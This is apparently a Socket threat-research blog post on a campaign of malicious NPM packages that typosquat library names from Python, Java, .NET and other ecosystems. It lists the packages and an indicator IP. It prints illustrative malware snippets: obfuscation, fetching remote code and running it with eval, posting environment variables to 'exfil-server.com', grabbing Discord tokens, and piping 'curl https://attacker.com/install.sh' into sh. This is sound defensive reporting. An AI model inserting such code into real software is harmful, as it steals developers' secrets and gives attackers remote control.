
Security News
libxml2 Maintainer Ends Embargoed Vulnerability Reports, Citing Unsustainable Burden
Libxml2’s solo maintainer drops embargoed security fixes, highlighting the burden on unpaid volunteers who keep critical open source software secure.
Research
Socket Research Team
May 2, 2025
Developers looking for familiar packages from other programming languages are increasingly falling victim to malicious attacks.
The Socket threat research team uncovered a coordinated malware operation across the NPM ecosystem. The actor behind the campaign published dozens of malicious NPM packages that mimic well-known Python, Java, C++, .NET, and Node.js libraries. This tactic may specifically target developers familiar with multiple programming languages, tricking them into installing malicious packages due to familiar-sounding package names, which appear unexpectedly in the npm registry instead of their original ecosystem.
Packages identified as part of this campaign contain obfuscated code designed to bypass security measures, execute malicious scripts, exfiltrate sensitive data, and maintain persistence on affected systems.
Although these packages list different maintainers, analysis revealed that they share infrastructure, use identical obfuscated payloads, and point to the same IP address 8[.]152[.]163[.]60
confirming a single, coordinated threat actor targeting developers across ecosystems. The IP address was traced back to an address located in the Beijing region of China associated with Alibaba Cloud (Singapore) Private Limited.
This attacker employed cross-ecosystem typosquatting — using familiar names from other package ecosystems to fool developers.
The following table shows some of the packages that were identified as part of this campaign alongside the corresponding legitimate libraries from other package ecosystems:
Original Ecosystem | Legitimate Library | Malicious NPM Package |
---|---|---|
Python | BeautifulSoup4 | beautifulsoup4 |
Java | Apache HttpClient | apache-httpclient |
.NET | OpenTK | opentk |
Python | Seaborn | seaborn |
The intent of the attacker was likely to:
main.js
payloads in all packagespostinstall
All packages exhibit highly similar obfuscated logic that ultimately performs data exfiltration or remote code execution. Below is a step-by-step explanation with code snippets.
(function() {
const _0xabc = ["charCodeAt", ...]; // Obfuscated string array
(function(_0x1a2, _0x3f4f) {
while (true) {
try {
const _0xresult = parseInt(...); // Junk math
if (_0xresult === _0x3f4f) break;
else _0x1a2.push(_0x1a2.shift());
} catch (e) {
_0x1a2.push(_0x1a2.shift());
}
}
})(_0xabc, 123456);
})();
This is a classic example of obfuscation using arrays and numeric manipulation. This technique slows down detection by static analysis tools.
const https = require('https');
https.get('<https://malicious-domain.tld/payload.js>', res => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => {
eval(data); // Executes attacker-controlled code
});
});
This snippet executes arbitrary code fetched over the network, making the package a remote access Trojan (RAT).
const fs = require('fs');
const os = require('os');
const envDump = JSON.stringify(process.env);
require('https').request({
hostname: 'exfil-server.com',
path: '/env',
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
}, res => {}).end(envDump);
Here, the malicious code collects environment variables (which may include secrets, API keys, credentials) and sends them to a hardcoded attacker server.
In some packages like logdna-agent
and vue-ssr-devtools
, Discord token grabbing logic mimics known malware patterns:
const paths = [
`${process.env.APPDATA}/Discord/Local Storage/leveldb`,
...
];
This code traverses Discord directories to grab tokens, a known pattern in Discord malware campaigns.
const cp = require('child_process');
cp.exec('curl <https://attacker.com/install.sh> | sh');
Last but not least, packages contain code that attempts persistence or lateral movement via installation of remote shell scripts.
eval()
to run arbitrary code remotely.Each package links directly to its Socket analysis page, showing the main.js
file and behavior summary:
reactotron-mobx
jade-browserify
beautifulsoup4
apache-httpclient
directx
sharpgl
windows-api-codec-pack
commons-net
slimdx
vim-refactor
vue-ssr-devtools
opentk
arduinounit
dayjs-plugin-duration
pdfplumber
node-jwt-simple
platformio
hungarian-algorithm
logdna-agent
scheme-latin-1-transcoder
jna
wdio-healenium-service
josson
typescript-plugin-some-plugin
cordova-plugin-permissions
sails-mssql-adapter
fanotify
meteor-roles
seaborn
concurrent-hashmap
slf4j-api-js
arduino-mock
swagger2-postman2
mock-arduino
psalm
compiletest_rs
jetty-quic
shaderc
kidding
your-published-package
haml-jst-loader
vue-highcharts-official
vite-plugin-remove
vite-plugin-node-modules-polyfills
istanbul-reporter-lcov
make-plural-rules
package.json
and package-lock.json
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
Libxml2’s solo maintainer drops embargoed security fixes, highlighting the burden on unpaid volunteers who keep critical open source software secure.
Research
Security News
Socket researchers uncover how browser extensions in trusted stores are used to hijack sessions, redirect traffic, and manipulate user behavior.
Research
Security News
An in-depth analysis of credential stealers, crypto drainers, cryptojackers, and clipboard hijackers abusing open source package registries to compromise Web3 development environments.